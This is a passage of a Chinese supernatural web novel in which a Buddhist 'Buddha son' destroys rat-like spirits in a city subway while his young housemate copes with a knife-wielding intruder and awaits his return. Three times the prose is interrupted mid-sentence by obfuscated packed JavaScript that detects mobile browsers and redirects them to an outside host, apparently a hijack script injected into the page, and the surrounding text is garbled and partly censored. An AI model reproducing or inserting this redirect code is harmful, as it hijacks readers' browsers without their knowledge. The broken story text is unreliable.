那个非法闯入施霜景家的男人已然忘却自己的真名,只记得女儿的小名叫琪琪。他深夜冲进福利院,鬼魅一样站在二楼走廊往窗内使劲眺望,确认只有一位老妇在照顾这些小孩后,他持刀冲进房间,大叫着“琪琪”、“琪琪”。可福利院根本没有孩子叫做琪琪啊。已经离开的,还留下的,都没有孩子叫琪琪。刘茜看清男人手上的水果刀,心里登时紧张起来,让孩子都往自己这侧爬过来,男人见状着急,挥舞着手臂奔向床边,刘茜就用身体去挡。 两根长烛忽然绽出火焰,一座鬼子母神龛在室内一角亮起。男人在满眼的血色里忽然见到幽暗人影自墙侧站起,往他这处缓步走来,仪态端正,脚步缥缈。男人尖叫后退,胡乱挥舞着水果刀。 霎时间,一座等身高的金属女神像瞬移至男人眼前,几乎要和他脸对脸。金属铸的女神面部只有状若眉目的凿痕,如此冰冷,表情似有情,可她带起的冷风如刀般无情。男人的喉头挤出滑稽一声,便失禁了,滑坐在地,水果刀掉在一旁。女神亦蹲下,她的神像头颅凑得更近,甚至微微侧头,似乎在观察他。男人想用手推开她,手指却如同触上滚烫的烙铁,恨不得烫掉了指纹。 男人惊吓过度,在地上蹬腿抽动如濒死的蛙。 警察暂时没能从男人那儿获得太多有效的身份信息,他很显然已经是疯人一个。他唯一记得的是他的女儿琪琪,好像他离开女儿时,琪琪还是个婴儿。警察问他,他的妻子在哪里,男人说老婆跑了。警察又问,那是你把琪琪交到这个福利院的吗?男人喃喃自语说,不是的,他把琪琪放在早餐的油条店,黄田坝,对的,他从黄田坝坐地铁……然后男人的语声就变得含混不清,没人能听懂他在说什么。琪琪,是哪个琪?奇怪的奇?下棋的棋?是王字旁一个其,好的。那你为什么要去那个男孩家? “男孩?哦。男孩。不光是我会找他。我们都会找他。我是第一个人吗?他会不会已经被其他人找到了?能让我见见他吗?不知道……主人没有说为什么要,找,他,但我们嫉妒……你知道被主人另眼相看意味着什么吗?!啊!你不明白……他是不是那个逃走的贱人!他逃走了!我必须找到他!我必须找到他!我要带他回去向主人求……求……琪琪啊……琪琪……” 纵使施霜景是个大心脏的人,他在看完这段审讯录像后还是不禁毛发悚立。 蒋良霖的手搭在施霜景的左肩上:“是在找你吗?你在接触罗爱曜之前还有接触过其他东西吗?” 郎放的手搭在施霜景的右肩上:“你最近还是和我们待在一起比较好,看来还会有其他人找上门来。” 谭鸿信站在施霜景身后,单手托下巴道:“哪来的神经病?那个什么佛子不是很牛吗,他能不能给咱航天厂驱驱魔?什么?他失踪了?他是这个‘主人’吗?” 施霜景长叹一口气。罗爱曜或许可以是这个神经病的主人,但施霜景算不得“逃走的贱人”吧?他守家守得可好了。 55.旧日幸存者篇(七) 一具尸骸横挂在轨道上,已不残余任何毛发或皮肉,就连衣物也都消失得无影无踪,只一具森森白骨破碎却一块不落地留在此处,像某种地标。 罗爱曜不需要使用现代的刑侦手段。他走近,用脚尖勾起颅骨,只消往头颅那幽深漆黑的眼眶里望进去,前尘往事尽浮现于罗爱曜脑中。 三十四岁,中年男人,深夜下班,赶末班车。他的左手快速地划着手机屏幕,量子阅读修仙小说。他的右手正自然而然地摸索一个可以扶住的地方。今天的末班车比往常要繁忙一些,没有空座位,男人就站在车门旁,往这个方向行驶时不开这侧的门,他几乎要背靠着这玻璃车门。男人无法看见,罗爱曜却能看见,黑暗中那些东西争先恐后地追逐着飞驰的地铁,与男人仅一门之隔。 那些东西没有实体,只是行为上有些类似老鼠,但于感官来说却微缩到有如一根根细针,针过于密集则会有前赴后继的浪的错觉,以为是波涛阵仗。车厢内所有人都玩着手机,就算有对电子产品极度疲惫的乘客正凝视地铁隧道,他们也绝对看不出任何异样。人类不是对手,人类只是猎物。 男人到站,只他一人下车,地铁在每站只停留短短数秒,但没有人发现,此时此刻,一件诡异到令人天灵盖清凉的事骤然发生。 男人在迈出地铁车门的那一瞬间被一阵巨力吸走,浑身骨骼当即就与皮肉分离开来,车站广播声和地铁运行声掩盖了骨骸噼里啪啦落在轨道的声音,也更掩盖了猎鼠分食人类残迹的声音。男人还未曾意识到发生了什么,就已命丧黄泉。浑身的肉、皮、头发、指甲等软物立刻被黑暗中的东西消化一空,就连覆盖着身体的衣物和鞋子,肩上背的书包,这一切与男人有关联的物品都成为了食物。残余的骨骼有其自己的作用,所以没有被这些异客啃噬一空。 这具尸骸躺在这里不过三四天的日子,新鲜失踪,却像死了三四百年。原来这些老鼠不止会偷摸着吃掉人类的时间与可能性,也会明目张胆地狩猎人类。 再往前去,骨骸增多,有散落在轨道上的,有钩挂在天线区域的,还有几乎嵌在隧道墙体的……这并非地铁行驶的常规路线,而是像罗爱曜所感知的那样,这是类似等比例复制的空间,与真实的地铁轨道交错着,有时会与真实世界的地铁轨道上下平行,有时则是衔接上真实轨道。那股巨大吸力来自地铁隧道中,将脱骨的人类吸到轨道,再吸入异空间。 罗爱曜没有受到邀请,他不请自来,光临这犯罪现场。他没兴趣做正义使者,起初就是为了达成与蒋良霖的协约,他希望蒋良霖能成为他的阿耨达龙王护法,是自鬼子母神护法之后的第二位护法神,蒋良霖的条件就是希望罗爱曜查明那隐隐带来威胁感的沙漏装置。 这种怪异与罗爱曜亲手促成的怪异有明显区别。并非伦理因缘的、生死业报的,而全是唐突、不怀好意、猎奇且直白的。是某种很肮脏的东西,于感官上令人不适,人类靠近了会眩晕、失忆、呕吐、发疯,但更重要的是会死。它们没有节制。如今他们为何没有召来更大范围的死亡呢?罗爱曜很快找到了答案。 进入地下的第四天,罗爱曜认为他已经步行到了某个核心之处,在地理位置上也是中央——天府广场。从见到第一具骸骨开始,真相渐渐浮出水面。最近的死亡是三四天前,最远的死亡则可以退至地铁最开始勘测与修建的十多年前。整个D市的地铁规划中心是天府广场,而大约正是在敲定地铁规划的那段时间,有人携带了不属于这个地界……甚至不属于人类势力的东西来到这里。当学者和施工团队在做工程地质勘查时,一个男人就将某种残片深深地钉入地下,使其先行适应D市的地下环境。 这种残片具有生物的性质,但远超生物。男人的做法有些类似于打生桩,也就是将这样的残片埋于地基之下,只不过人类打生桩是为了加持建筑物更加稳固,而男人将残片埋植于地底是为了种下邪恶的沼泽。后来男人用自己的生命作第一滴血,开启了这些残片的嗜血机制。他的遗体在天府广场站的轨行区墙体内,罗爱曜经过时,一种拉扯的张力迫使他停下脚步。 这些人类遗骸往往近于各条地铁线路两端的站台。越往城市中心去,就越感觉到这些骨骸已经变为了这怪异的一部分,不再肉眼可见,但能感觉到骸骨依旧存在,只是不知道这些骸骨用来做了什么。 罗爱曜探触着墙体,能摸见始作俑者的遗体状态,与其他只剩残骨的尸体不同,墙内的始作俑者尸体干燥但新鲜。罗爱曜的思路很简单,他得把这具尸体弄出来看看。 随着罗爱曜的触摸,墙体剧烈颤抖起来,无视物理规则。幸好这是异空间,而不是真实空间,否则罗爱曜这样做一定会影响天府广场站的结构,有塌方风险。金色粉尘漫布于墙体,将墙体柔软化,墙内的尸体像是从柔软的、近乎液态的墙体中析出。 一团扭曲的中心由蜷缩的人形与血管般的密密麻麻触肢构成,金色浮尘成为隔绝空气和外界的隔膜,阻止空气唤醒这个不祥物。当罗爱曜拔起这一核心时,他人实际已在地面垂直以下五百米,近乎是核避难所的深度了。这些枝蔓自蜷缩人形的身体各处长出,极细极长,依托地铁隧道而无限延伸,像是菟丝子细血管寄生着冰冷的工程粗血管。 金色浮尘汇聚于人形核心的表面,形成佛子咒,紧缚着核心,同样是从未见过的文字,但与罗爱曜施与施霜景的佛子诫文完全不同。他现在使用的是恶咒,以暴制暴,镇压着这不祥之物。 罗爱曜仔细琢磨着,他理解这玩意的存在,但不能理解这玩意的功能。 他移动了人形核心,不可避免地就会引起那些浪游之物的警惕。只是眨眼的功夫,大量的窸窣动静自轨道两端涌来。罗爱曜不受影响,那蜷缩人形已下降到与罗爱曜齐平的高度,罗爱曜毫不客气地伸手触压着这人形,很快就发现,这人形的胸腔部分嵌入一块残碑,就是这枚残碑最是邪恶诡异。残碑上的纹章非常粗糙,雕刻方式不是史前、中世纪或是近现代,纯粹像是新手费尽心思在石块上硬凿出的痕迹。罗爱曜没见过,正准备动手剥离出这块残碑,真正的危险便近在咫尺了。 大群的针型猎鼠交替穿梭,光是想象这画面都令人通体疼痛。这些猎鼠以最小的体积存在着,因此得以在并不宽阔的地铁隧道中繁殖出无限多的个体,还能交替往返地行动,不阻碍自己与同伴的行动。 罗爱曜的人身遭针型猎鼠刺透,只一霎就有如受了针刑,千万根针横贯而过,倘若是普通人类,猎鼠们会在瞬间以口器吸干其身体,撕碎的衣物材料也会一并吸收进去。骨骼为什么不会碎成齑粉?罗爱曜仍然在思考这个问题。这些 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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地底巨物因受到威胁而始现生机,蔓延的触肢抵达地铁站的两端,再往前延伸,延伸……以D市最中心地铁站天府广场站为核心,这一巨物依附着地铁线路生长着。罗爱曜恍然大悟,这一巨物和它所驱使的针型猎鼠都以人类为某种载体,如若不修建地铁,人类不会有机会下到地下来,给他们可乘之机。罗爱曜从一号线的终点站进入地下空间,那是最早的一条线路,也是地底巨物最初的活动范围,因此可调查的线索最多。 来都来了,罗爱曜回收残碑,倒是可以直接离开,但是他唤醒了巨物,不能这样一走了之吧。这一异空间的动静肯定会影响真实世界,比如地铁交通信号中断,甚至发生事故。 罗爱曜垂目,他受地铁隧道启发,这多像地狱暗河,于是倾洒地狱之法器,一百零八枚优钵罗为极寒体象,一百零八枚钵特摩为切割粉碎,一百零八枚分陀利为超度之柔波。至于开路,一枚兽首铁轮挡至身前,作地狱万相,杀如红莲重瓣飞散,生若象首光轮灼热照亮八方。 罗爱曜离开的第九天,D市地铁大面积停运的第二天,施霜景头一次在自习时间偷溜出门,去找那个叫柳闻斌的柳司机。 柳闻斌让施霜景坐副驾驶,D市市内已经堵得没完了,柳闻斌的手指正烦躁地敲着方向盘,面上和嘴上一点不显,不好得罪施霜景,但也并不知道他在着急什么。柳闻斌从D市里开车到励光厂花了整整四个小时。施霜景也不知道自己在发什么疯,一上车就拜托柳闻斌往升仙湖开,简直像托梦似的,他连续好几天都梦见升仙湖了。这一开又是两个钟头,二人找到佛子机车一辆。这机车停在室外,又淋雨又日晒的,已积了一层湿灰。施霜景和柳闻斌合力将机车搬上灵车后座,带回厂里,施霜景不知道自己怎么了,淡淡的忧虑升级为浓浓的担忧,柳司机也开始觉得不妙。 送走柳司机,施霜景还是无心学习,郎放说施霜景白天可以自由行动,只是晚上需要回他家睡觉,所以施霜景下午时分又去了串串摊位,别人上课的时间,他独享整个串串摊。 刚吃完三串丸子,熟悉的声音响起。 “这个点你为什么在这里?” 56.旧日幸存者篇(八) 施霜景差点被丸子噎死。这太荒谬了。早知道吃串串能盼来罗爱曜,他为什么不早吃……开玩笑的。 施霜景捶着胸口,好不容易咽下丸子,罗爱曜落座,红色大遮伞下不论什么都罩一层红光,罗爱曜仍穿着那天骑机车离开的衣服,没有换过。施霜景连忙招呼老板娘给罗爱曜上蘸碟,D市的街边串串是铁车里嵌了长长的槽,长槽再划分成方形槽,槽里灌上辣汤或是骨汤,木签串过各色菜品,在汤槽里滚沸。 “吃辣的还是不辣的?”施霜景问。 罗爱曜盯了施霜景两秒,才说:“辣的。” 施霜景取了两串藕片和两串他刚才吃的肉丸放进罗爱曜的平盘蘸碟,再扫视一圈,取豆皮和厚切的白萝卜,用筷子拨进罗爱曜的盘子里,佯装平静道:“我有点饿了,先出来吃些东西。我中午才和柳司机把你的摩托运回来。” 施霜景都不知道自己怎么能如此狗腿。好像这颗心这一分秒才终于归位了,不在喉咙也不在肚子,就回到胸腔,安安分分地一分钟跳七十二次。 “我看到了。”罗爱曜接过筷子,先叉进软烂的白萝卜里,咬一口,边吃边说,“我回家没看到你,自习室也没人。后来家里发生了什么?为什么不继续给我发消息?” “我发了几天,你一条都没回我啊。你看消息了?” “嗯。”罗爱曜说,“做得好,把车运回来了。你怎么知道我的车在升仙湖地铁站?” 施霜景莫名其妙:“不是你给我托梦吗?” 骨节分明的手越过施霜景眼前的串串池,取了几串淀粉丸子,罗爱曜杀了那么多老鼠,直到落座和施霜景吃串的这一分钟才觉得这脏活真的结束了。罗爱曜说:“我没空托梦给你。说说你的梦。” “就……逛公园,一圈圈地绕,我都没去过升仙湖呢,早上一去吓一跳,和梦里一模一样。我在梦里看到你的摩托车了,就去找。你的车座椅是真皮的吗?” 吃着吃着,罗爱曜罕见地一显疲态,另一只手撑了撑额头。施霜景让老板娘给他下份鸭血,再下两块方便面,不,三块。“这顿就当晚餐,等回家我再和你说发生了什么事,很糟心。”施霜景取了两个塑料碗来,兀自打了两碗骨汤,一碗推到罗爱曜手边,另一碗是他的。施霜景吹着热汤,心想终于可以回家了。 他真的真的真的很高兴能看见佛子平安回来!早上他去“认领”佛子的机车时,心里可太不安了。他宁愿佛子是心血来潮去骑行了,也不要是突然消失踪迹。 两人随便在串串摊吃了好多东西,老板娘拼命补货,这俩大高个把她煮熟的串串几乎都吃完了。施霜景抢着付钱,倒是值不了几个钱,可他高兴。 自那天家里有人闯入过,施霜景只是趁白天来打扫过家里,不敢回家住,只放置了一周多,家里就呈现出无人的枯朽之意。罗爱曜回家后,皱眉的表情藏都藏不住,伸手取来神龛前的香炉,在全家的地板上都洒了香灰,叫施霜景不要清扫,先就这么晾三天。施霜景问罗爱曜,这是不是可以回家住的意思,罗爱曜反手交给他一串蜜蜡手链,“戴在玉米脖子上,它要是不老实戴的话就别回来住。” 玉米哪能不老实呢?在不足十平米的房间里住了一个多星期,脾气再好的小猫也会觉得无聊的。施霜景蹲在地上给玉米戴蜜蜡脖套,重要的事情说三遍,不要挣脱这项链,不然就不带他回家了。郎放在客厅收拾着气垫床,蒋念琅依依不舍地扒着门框,她真的很喜欢别人借住她家啊,小景哥身上有种很干净的气质,和佛子同住这么久都没有染上不良气性。小景哥会唱歌,唱得还蛮好听的,就是跳《舞力全开》的时候有点四肢不协调,但小景哥玩游戏也认认真真的。 “佛子好像需要休息,我先回去照顾他。谢谢郎先生收留我这么多天。”施霜景郑重鞠躬,“如果有什么新消息,我会及时传过来……但我不知道能不能传达清楚。我知道佛子好像和你们有达成什么协议,要一起做些什么事。” 郎放点点头,反倒提醒施霜景:“我送你那个哑铃铛手链,学习的时候可以戴着,真的对你的学习会有帮助。铃铛里面有清心蛊,但是虫子早就死了,借用一下虫尸而已。” “……” 玉米小心翼翼地踩上一地香灰,先找到猫砂盆爽爽地如了一厕。施霜景推开卧室门,罗爱曜已经睡了。不然今天把作业搬到楼下来写?还是得写的。这几天多亏有蒋良霖在,施霜景按罗爱曜留的复习任务缓慢推进,可他需要有人给他听写单词、批改作业,蒋良霖在做代课老师。郎放的学历比施霜景还低,高三辍学,现在早已是十多年没碰过高考了,绝不掺和。蒋良霖是学霸来着,他不耐烦讲题,可是他会在改完施霜景的作业之后把所有正确步骤和答案都写在旁边,说:“你可以自己琢磨看看,现在不懂也无所谓,说不定高考前复习的时候会翻到这几页,停下来看几眼发现又能看懂了。” “施霜景,过来。”罗爱曜背对着门也能准确地指挥施霜景。 施霜景估摸着罗爱曜是要喊他陪睡了,说真的,离家这几天他还有些想念家里这大床。施霜景不知道什么是H?stens,只知道自己一沾这床垫和枕头就想睡。这几天施霜景反反复复地数自己的微信余额和银行卡存款,施霜景记得每一笔打款的时间和缘由,除去最初的一万块,第一笔十万是施霜景被吕宏图捅了几十刀之后拿到的,第二笔和第三笔十万都是□□换来的,加上学校退了补习费,施霜景现在账上一共三十万出头,简直跟做梦一样。 为什么罗爱曜的手总是要往施霜景的身上摸呢?施霜景换好睡衣躺进被窝,罗爱曜闭着眼睛贴上来,今天他几乎把施霜景当抱枕了,施霜景躺得不舒服,可闻着罗爱曜身上隐隐约约的檀香味,心又沉到了肚子里,像找到了一片静海,可以悠悠扬扬地飘摇。 他们什么都没做,睡到了凌晨三点,罗爱曜短暂地醒了片刻,于黑暗中凝视施霜景,他感到熟悉又陌生。熟悉的是这人,陌生的是他拥着活人这件事。打算放手,可拿开手又会贪恋热源。罗爱曜有体温,但他有时会觉得自己的体温是被“传染”来的。他要借一个热源,稳定、恒久、不灭的热源。 施霜景发了那些消息。施霜景,你为什么会担心我?你不该担心我。但你还是担心我。这是在名为罗爱曜的考卷上写满字却无一切题,登记后台却卡出一个不错的分数,像假的又像真的。 一剑霜寒:我和玉米在郎放家,我们都很安全,但三点的时候奶奶给我发消息,说有人闯进了福利院 一剑霜寒:闯入者好像进过我们家,这是你晚上让我来郎放家的原因吗? 一剑霜寒:你要是安全的话,抽空回复 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15473343|168887||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 我一下 一剑霜寒:刚刚去做笔录了,闯入者拿了家里的刀,确实很危险 一剑霜寒:[家中图片] 一剑霜寒:不管了,我写作业等你回来 一剑霜寒:郎放和蒋良霖说你在追查异象,我还以为你不会干这种活 一剑霜寒:好像有点危险,不然不会交给你做 一剑霜寒:我写作业去了 一剑霜寒:[作业图片] 一剑霜寒:蒋良霖还记得高中知识点 一剑霜寒:他能帮我改作业 一剑霜寒:我先听听网课吧,我好像现在能听网课了 一剑霜寒:坐得住了 一剑霜寒:就算去警察局也没什么用,什么都搞不清楚 一剑霜寒:[玉米图片][玉米图片][玉米图片] 一剑霜寒:给你看玉米 一剑霜寒:你什么时候回来? 一剑霜寒:你还好吗? 一剑霜寒:月考成绩出来了 一剑霜寒:今天去福利院送衣服了,用你的钱买的 一剑霜寒:[鬼子母神图片] 一剑霜寒:加急给鬼子母神定了一条围巾,很漂亮 一剑霜寒:你还好吗? 一剑霜寒:[作业图片] 一剑霜寒:[作业图片] 一剑霜寒:你让我去升仙湖找你? 一剑霜寒:这是不是说明你没有突然离开,去很远的地方 一剑霜寒:还会回来吗? 消息停了好几天。罗爱曜离开地铁站后,确认般地上下划动手机屏,施霜景确实没给他发消息了,几天前就没发了。罗爱曜能感觉到施霜景此时此刻无比安全,看来他没有脑子一热就真的去地铁站了。名为庆幸的情绪就像天气一样藏不住。今天和离开那天的傍晚一样都是晴天。 那枚残碑,罗爱曜将它妥善放进了他的法器阁里,但这到底是个恶心东西,罗爱曜会觉得不舒服,明明是某个人的粗糙雕刻,其邪恶之意却无穷,有着某种穿透力。罗爱曜回到家也觉得不舒服,另一种不怀好意的氛围残留在家中,他泼洒香灰做一个相抵消的结界,这还不能让施霜景泼,只能是罗爱曜来做。 玉米躺在床尾,正轻舔玉足,脖子上稳稳地戴着罗爱曜的蜜蜡手钏,每次伸脖都不经意地显出神气模样。罗爱曜招手,玉米停住动作好几秒,一扭身便四足站立,踩到施霜景身边,盘身睡下了。 这场景无限地像最普通的三口一家。两人一猫。一个人会问另一个人什么时候回家,一个人会担心另一个人是否安全,一个人会把另一个人当人,只是人。看施霜景的消息不会有负担,客客气气,认认真真,不经隐藏的真心。 用来绞杀地铁之鼠的法器——兽首剑轮,罗爱曜也对施霜景祭出过。蓝月空花的夜晚,兽首剑轮差点绞掉施霜景一只手臂,不知道施霜景到底怎么躲过的。 这是什么感觉呢?罗爱曜难得词穷。他直到现在还认为,当初那一夜,他已经很温柔仁慈了。但他直到现在忽然又认为,这样大的杀性降临在这样普通的人身上,到底是罗爱曜小题大做了。施霜景有某种大题小做的能力,四两拨千斤,从重叠卷刃里滑出,根本不知道他如何办到。心态平平的,眼神定定的。说不定施霜景也有独特的天赋。 57.旧日幸存者篇(九) “那个偷刀的男人还在看守所,不知道警察会怎么处理。我看了几段审问录像,他的意思是还会有‘其他人’来。” 罗爱曜和施霜景,两人晚上八九点就关灯呼呼大睡,罗爱曜早上四点起床,施霜景睡到五点也睡不下去了,他的生物钟那么准时又那么可悲。早起到八点进自习室的这段时间里,施霜景得和罗爱曜聊聊他不在家时发生的事。有点像解释,又有点像告状。 “他说是什么‘主人’让他来的,还说我逃走了。佛子,我有话直说,他是你的信徒吗?” 施霜景省略了闯入者的粗言秽语,什么“贱货”、“婊子”之类的,换谁听了都会很不舒服且难以转述。 罗爱曜原本是一副意兴索然的模样,一听这质问,坐直起来,愠怒道:“我的信徒?不可能。” 施霜景不作声。 罗爱曜一看施霜景这幅模样就更来气,“信仰我的基本都是整支家族,在我的庇护下都家大业大,枝繁叶茂,不会突然有什么疯人上门来找事,越是信我的人越知道我不留情面。”解释完暂时气顺,下一秒又提起气来,他干嘛解释? “懂了,谢谢佛子,那应该不是你的信徒。我的意思是,这些人是受人指示才找上门,会是什么人啊?”施霜景摸摸脑袋,“那有人会故意惹你吗?不要命了?” 在施霜景的认知里,佛子杀人跟杀蚊子一样,没半点负罪感的,佛门狂人。 早上七点,看守所。 男人不记得自己姓甚名谁,只记得女儿叫琪琪,警察干脆就喊他琪琪爸,也算是一种身份标识。 琪琪爸趴伏在蹲厕前呕吐不止,脸都几乎要埋进去,他边呕吐边抠挖着喉咙,发出濒死的气声。同一间看守所里只住了四个人,除了琪琪爸之外,两个是喝醉酒闹事的小年轻,都不知道是不是酒精中毒了,夜里轮流吐,白天睡得鼾声连连。还有一位是前两天才进来的,倒是人模狗样,但精神头也不好,琪琪爸吐出震天动静,男人也没过来帮个忙。可这是男看守间,不把琪琪爸的脑袋摁进去就不错了,琪琪爸压根也没指望任何人。 便池里蓄着琪琪爸呕吐出的黑水,恶臭扑鼻,琪琪爸不仅用嘴吐,有时竟然鼻子也喷出这样的黑水来,仿佛浑身液体都替换成了沥青黑色的不祥污水。琪琪爸想找看守,可他浑身瘫软,不可移动分毫。 “啊……呕……啊啊……没有……我没……” 琪琪爸的眼睛只能看见红色世界,而红色的东西在他的世界中显得异常刺眼,因为红色是主的辉光,而主的辉光与众红皆有差别。可今天早上,他的眼睛几乎盲了,不是红色或是正常颜色的问题,也不是模糊与否的问题,就是被遮了眼,他的视野像破碎的电视屏幕,只有零星的几个形状里能视物,其他皆为纯黑。所以琪琪爸能找到厕所,能大概摸到铁门,但大部分的世界还是断了电、没有显示。 他的脖子上显示着漆黑的、收紧的手印,捏合,扼住他脖子。黑暗视野里渐渐浮现旧事,走马灯一样的恐怖过去竟然被迫地放映出来。第一次见到主的神迹,主赐予了灵药,主指示了道路,琪琪喝了那种药就可以自动长好心脏,还有其他的什么毛病……统统会好……偷走琪琪,喂给她那种“活水”,主说,观察,要谨慎地观察,她……琪琪不是。琪琪没有办法。“活水”失效了。主很失望。再往前……疯癫之前的事……无尽的、空旷的城市,任何人只要顺着铁道走、虔诚地走、不带一丝杂念地走,就能抵达的主的旧城,他在旧城里活了下来,不是最优秀的那位,但也不差。他必须回到旧城。旧……城……倒置的建筑插入地心……祂看着一个又一个信徒自旋,舞蹈般自旋…… 那股力又将琪琪爸的脑袋往下压,这次他的脸真的沉入了自己呕吐出的黑水里,残破视野里的走马灯走得更快,喉咙里竟然泛起一股古怪的甜味,像是饿死的人回忆起美食,有椰蓉、牛奶、奶油……想吐却吐不出来了,想活也快没有命了…… 正在此时,一只手拽起琪琪爸的后衣领,终于让他重新呼吸到了空气。琪琪爸被呛惨了,满脸、满脖子都淌着腥臭的呕吐物。 新室友用水盆打来水,轻声道:“先擦一擦。” 但琪琪爸还沉浸在差点被溺死的恐惧里,死活都不愿意再接触水。新室友拧了毛巾,竟然是帮琪琪爸擦起脸来。 施霜景又开始咬笔头。真是令人心寒。他向罗爱曜汇报了这几天家里发生的事,但罗爱曜一点都没有透露他消失这九天去做了什么,反而又把他拎回了自习室里:“考虑到这些天我不在,复习进度暂时不会往前推进,我会给你讲题,讲完知识点之后,你做真题,我来看看你的月考卷。” 以施霜景现在的水平,高考前能做个四五套成套的真题都算他水平过关了。罗爱曜想着既然他现在要讲知识点,干脆把真题里相同知识点的题整理一下,让施霜景练练手也行。做错了就是施霜景的正常水平,但如果做对了,能给施霜景增加不少的自信。 可不论什么时候,把月考卷交给家长都是一件让人手脚冰凉的事。罗爱曜一脸凝重地拿着他的月考卷回办公室了,留施霜景在客厅继续吹暖气、整理知识点,还有一张A4纸的专项知识点真题。 其实施霜景隐藏了一件事没说。 罗爱曜昨天问他为什么没再给自己发消息,一部分原因是施霜景没有收到罗爱曜的回复,有些许的心灰意冷;另一部分的原因 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15473344|168887||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 则就是因为这件事。 自从施霜景家里闯进人来,郎放就不让施霜景随便回家了,就算要回去,也得是郎放陪同他一起,应该是担心施霜景家里藏人,比如躲在衣柜或是房间门后,郎放怕施霜景被暗算。蒋良霖和郎放并不总是在家,他们在家的时候通常也会把蒋念琅带出去,跟美国人似的,从来不把小孩一个人留在家里——但他们傍晚时候就一定会到家,并让施霜景去他家自习。 至于其他地方,施霜景只要是在白天就能去。 从罗爱曜离开的第四天起,施霜景就在午休时间“守株待兔”。他睡郎放家客厅,老楼的隔音很差,在安静环境下,脚步声非常清晰。他总是能听见晚上有人上楼的声音,可第二天他下楼,他家没有任何被入侵的痕迹,门上和墙上也没有任何信号。 因此,施霜景突然就决定,他想利用午休时间做点什么。老楼对面有一排一层高的库房,以前厂里人修来停放自行车和摩托车。罗爱曜有机车,虽然不知道他是找谁租了一间,但施霜景知道他的机车库是哪间,正好和他们所居住的这栋楼呈一个斜角。更巧合的是,施霜景曾在自家玄关上的杂物小篮子里找到过库房的备用钥匙,还挂了一把在自己的钥匙串上。 施霜景进入库房,门上有一扇格栅小窗,他就正好可以从这扇小窗里往外观察。施霜景想,不管是小偷还是强盗,如果他们看中了某一家,应该会踩点吧?白天踩踩点,晚上也踩踩点,这样才比较万无一失。 第六天的时候,施霜景忽然发现一个神色异样的男人在几栋楼前犹豫,最终还是选定了施霜景所住的那栋楼,走进去,几分钟后走出来,又呆呆地仰头,幅度不大,估计是在看三四楼。施霜景想,下一个是你吗?他默默记住了男人的脸和装束。长得人模狗样,甚至是个帅哥,可气色很差,像刚出院。 第七天,他没来。施霜景等了半小时,收到班主任的消息,让他来学校拿理综的复习材料,教研组刚做出来的,针对不到一个月以后的一诊。施霜景就干脆去学校了,结果他在学校附近见到了昨天去他家望风的男人。 难道这人在学校蹲他?施霜景难得怒向胆边生,勇敢地跟了上去。 施霜景也是那时候才发现自己有这样一个不长记性的毛病。被人捅过了,被人强拉说吉祥话过了,还被卐人围追堵截过了,还是永远年轻、永远上头。到底是二十岁的年轻男性,施霜景就是很想不明白,为什么他们要盯自己家?为什么?而且为什么他们要骂施霜景是贱人、婊子、烂货?只是因为施霜景和罗爱曜同居吗?可这也不是施霜景自找的啊!怎么?如果罗爱曜一直不回来,他们就一直这样蹲守吗? 施霜景不能接受。 58.旧日幸存者篇(十) 励光厂高中临街,高中对面的小区旁有一条通往公园的岔路。这公园已有年头了,上个世纪末的时候励光厂仓库调址,旧仓库就改成了体育俱乐部,好几栋平房,这间是羽毛球场,那间是篮球场,还有供职工社交的联谊舞厅,经营了两年,总接到投诉,说是有伤风化,就把彩灯全部撤下去,改成了职工子女的舞蹈教室。如今经济不景气,励光厂的大部分设备也已经搬走,俱乐部倒闭,当年种的树还郁郁葱葱,种了常青的树种,不论春夏秋冬都是绿叶。杂草从镂空地砖里钻出,石头桌凳被磨得光亮,天气好的时候会有老头在这儿下棋,或是打露天麻将。 冬季萧索,小公园空空荡荡。施霜景跟进去的时候,心里还是有犯怵。 他不能再被人捅刀,罗爱曜不在,说不定这回死了就是死了。要小心,谨慎。施霜景没看过多少恐怖片,但自从见多了人变鬼的真实画面,他就得防所有人。这样想着,施霜景下意识伸手摸书包,摸到那把自己一直留在书包内的金刚杵。 手里的金刚杵两头都圆钝,两头的尖刺不知什么时候收了回去,当初他痛击卐人时,金刚杵的两端还是很有攻击性的。施霜景小心地抚摸金刚杵杵身的花纹,想着要是它是尖的就好了。施霜景不会主动捅人,但防身武器总得有点作用吧? 突然,金刚杵两头的铁笼样式镂空合拢。这金刚杵怎么看也不是活动器械吧!但镂空合拢,中央的宝珠旋转,金刚杵两头也随即旋转,仿佛有看不见的天人之手正当场磋磨改装这把金刚杵。金色雕纹以不同的转速旋转着,逆时针与顺时针随即改换,施霜景都几乎握不住,怕磨到他的手,只得捏着宝珠。三秒后金刚杵幻化完毕,精致异常,一端为怒目金刚,另一端为□□,是为天铁普巴杵。 合着朝法器许愿也是有用的?施霜景怔怔地双手捧起普巴金刚杵,这把冷铁仿佛在说,去吧孩子,我支持你一切的残暴念头! 施霜景一手握住宝珠所在的把手处,另一手试探地摸了摸棱与棱之间的凹陷,能摸到致密的放血槽,不用摸棱也不用摸刺,摸此处就知道,这是真的武器,可能跟□□差不多了。 